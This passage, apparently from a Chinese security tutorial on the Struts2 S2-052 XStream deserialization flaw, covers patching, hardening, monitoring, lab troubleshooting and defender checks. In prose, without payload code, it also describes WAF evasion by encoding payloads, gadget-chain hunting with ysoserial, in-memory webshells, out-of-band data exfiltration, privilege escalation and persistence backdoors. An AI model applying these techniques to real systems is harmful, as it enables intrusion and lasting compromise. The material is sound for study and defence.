Struts2官方针对S2-052的修复方案是升级到安全版本。受影响版本Struts 2.5.x 且版本号 2.5.13。安全版本Struts 2.5.13 及以上。升级步骤备份完整备份当前应用代码、配置文件及数据库。修改依赖在项目的构建管理文件如Maven的pom.xml或Gradle的build.gradle中将Struts2相关依赖的版本号更新至2.5.13或更高如2.5.14.1。!-- Maven 示例 -- dependency groupIdorg.apache.struts/groupId artifactIdstruts2-core/artifactId version2.5.26/version !-- 使用最新的稳定版 -- /dependency dependency groupIdorg.apache.struts/groupId artifactIdstruts2-rest-plugin/artifactId version2.5.26/version /dependency测试升级后必须进行全面的功能测试和回归测试确保新版本没有引入兼容性问题。特别要测试所有REST API接口。仅仅升级Struts2就够了吗不够。修复的本质是Struts2在2.5.13版本中为REST插件设置了一个安全的XStream实例通过注册一个安全防护SecurityWrapper并设置一个初始的黑名单后来演变为白名单来限制可反序列化的类。但安全是动态的后续XStream本身也可能爆出新的绕过黑名单的漏洞如CVE-2021-39139等。因此升级后还需要检查XStream的版本并考虑应用额外的安全配置。5.2 代码层与配置层加固措施如果因为某些原因无法立即升级或者升级后希望增加纵深防御可以考虑以下措施禁用不必要的消息处理器如果应用不需要XML格式的REST接口可以在struts.xml中彻底禁用XStream消息处理器。constant namestruts.rest.contentRestrictor.excludedClasses value* / !-- 或者更精确地在特定package下禁用xml支持 --实际上更直接的方法是检查并移除不需要的Content-Type支持但这需要对Struts2源码或插件机制有较深理解。实施严格的输入验证与过滤在Action层或通过拦截器Interceptor对接收到的XML内容进行严格的模式验证XSD Schema或者对关键字段进行过滤和净化。虽然不能从根本上解决反序列化问题但可以增加攻击难度。使用安全的反序列化替代方案对于新的项目考虑使用更安全的JSON库如Jackson并禁用其多态类型处理Polymorphic Type Handling功能。或者对于XML解析使用仅进行数据绑定、不涉及任意类实例化的解析器。5.3 运维层防护与监测手段从运维和安全运营角度可以采取以下措施WAFWeb应用防火墙规则部署WAF并配置规则以检测和拦截包含已知Struts2漏洞特征如特定的类名、标签结构的请求。这可以作为一道有效的临时外部防线。RASP运行时应用自我保护在应用服务器层面部署RASP agent它能够监控应用运行时的行为当检测到可疑的反序列化操作或敏感命令执行时可以进行实时阻断和告警。入侵检测与日志审计确保应用和系统的访问日志、错误日志被完整收集。监控日志中是否存在异常的、包含大量特殊字符或Java类名的POST请求。建立针对java.lang.ProcessBuilder、Runtime.exec等命令执行类被加载的告警规则通过Java Agent或安全产品实现。最小权限原则运行Java应用的操作系统用户应使用非root、低权限账户。这样即使被攻破攻击者能造成的破坏也有限。定期漏洞扫描与依赖检查使用OWASP Dependency-Check、Trivy等工具定期扫描项目依赖及时发现并修复包含已知漏洞的组件如特定版本的Struts2、XStream。6. 常见问题排查与实战技巧在复现和测试S2-052漏洞的过程中你可能会遇到各种问题。这里汇总了一些常见情况及解决思路。6.1 漏洞复现失败原因分析问题现象可能原因排查思路与解决方案发送Payload后返回400/500错误但无命令执行迹象1. Payload与目标环境不兼容JDK版本、依赖库不同。2. 目标接口路径或请求方式不对。3. 容器内缺少命令执行的上下文如/bin/sh不存在。1. 检查靶场环境的JDK版本java -version和依赖库。尝试换用其他公开的、适用于该环境的Payload。2. 使用Burp抓包确认准确的API端点、方法和Content-Type。3. 尝试执行一些简单的、通用的命令如echo test或touch /tmp/test并使用docker exec进入容器验证。返回406 Not Acceptable或415 Unsupported Media Type目标接口不支持application/xml格式或者Struts2配置未启用REST插件对XML的解析。检查请求头Content-Type是否正确。查看服务器响应头或错误信息确认其接受的Content-Type。尝试application/json或其他格式如果存在对应漏洞。命令执行了但无法验证结果无回显Payload是“盲注”类型命令执行成功但输出未在HTTP响应中体现。采用外带数据技术验证1.DNS外带使用ping或nslookup命令将结果发送到你的DNSLog平台。2.HTTP外带使用curl、wget甚至telnet将结果发送到你的HTTP服务器。3.写入文件后读取将结果写入Web目录下的一个临时文件再通过其他已知漏洞或路径访问该文件。漏洞环境启动失败端口冲突、Docker镜像拉取失败、内存不足。1.docker ps -a查看容器状态docker logs 容器ID查看启动日志。2. 修改docker-compose.yml中的端口映射。3. 确保Docker Daemon有足够资源清理无用镜像和容器。6.2 渗透测试中的进阶技巧Payload编码与变形为了绕过简单的WAF或输入过滤可以对Payload进行编码。例如对XML标签内的类名进行URL编码、十六进制编码或者将整个Payload进行Base64编码后放在CDATA块中如果服务器端有相应的解码逻辑。但核心是最终被XStream解析的XML结构必须正确。寻找替代利用链公开的ProcessBuilder链可能在目标环境失效因为类不在classpath或已被安全管理器限制。需要根据目标应用的依赖库寻找新的“小工具链”Gadget Chain。可以分析应用WEB-INF/lib下的jar包寻找那些实现了Serializable接口且其readObject、getter、setter等方法可能被利用的类。工具如ysoserial可以帮助生成多种链的Payload但需要匹配目标类路径。利用Java内存马在取得命令执行权限后更高级的利用方式是向Java内存中注入一个后门内存马例如一个Filter型或Servlet型的Webshell。这样即使不写入文件也能持久化控制。这需要你能够将编译好的恶意类字节码通过漏洞上传并注入到当前应用的ClassLoader中技术门槛较高但隐蔽性极强。权限提升与持久化获得一个Webshell或反向Shell后评估当前用户权限。尝试利用系统内核漏洞或配置错误进行提权。同时考虑建立持久化访问如创建计划任务crontab、系统服务、SSH密钥、或者向现有Web应用中植入隐蔽的后门。6.3 防御视角下的排查要点如果你是防御方怀疑系统存在此漏洞可以按以下步骤排查资产梳理识别所有对外提供服务的Java Web应用特别是使用Struts2框架的。版本确认检查应用WEB-INF/lib目录下struts2-core-*.jar和struts2-rest-plugin-*.jar的版本号。版本号小于2.5.13即存在风险。配置检查检查struts.xml等配置文件确认是否引用了rest-default包或显式配置了REST插件。流量监控在WAF或全流量日志中搜索带有Content-Type: application/xml且请求体中含有java、javax、com.sun等明显Java类包名特征的POST/PUT请求这些是攻击的强特征。漏洞扫描使用专业的Web漏洞扫描器如AWVS、Nessus或Struts2专项扫描工具进行检测。复现S2-052漏洞的过程就像一次完整的安全事件演练。从理解原理、搭建环境到发动攻击、验证结果最后思考修复和防御每一个环节都能加深你对Web安全、框架安全和Java反序列化的理解。真正重要的是将这种“攻击者思维”转化为建设性的“防御者能力”在开发中避免引入不安全的默认配置在运维中建立起有效的监测和响应机制。安全是一个持续的过程而对这些经典漏洞的深入研究正是构建安全体系最坚实的基石。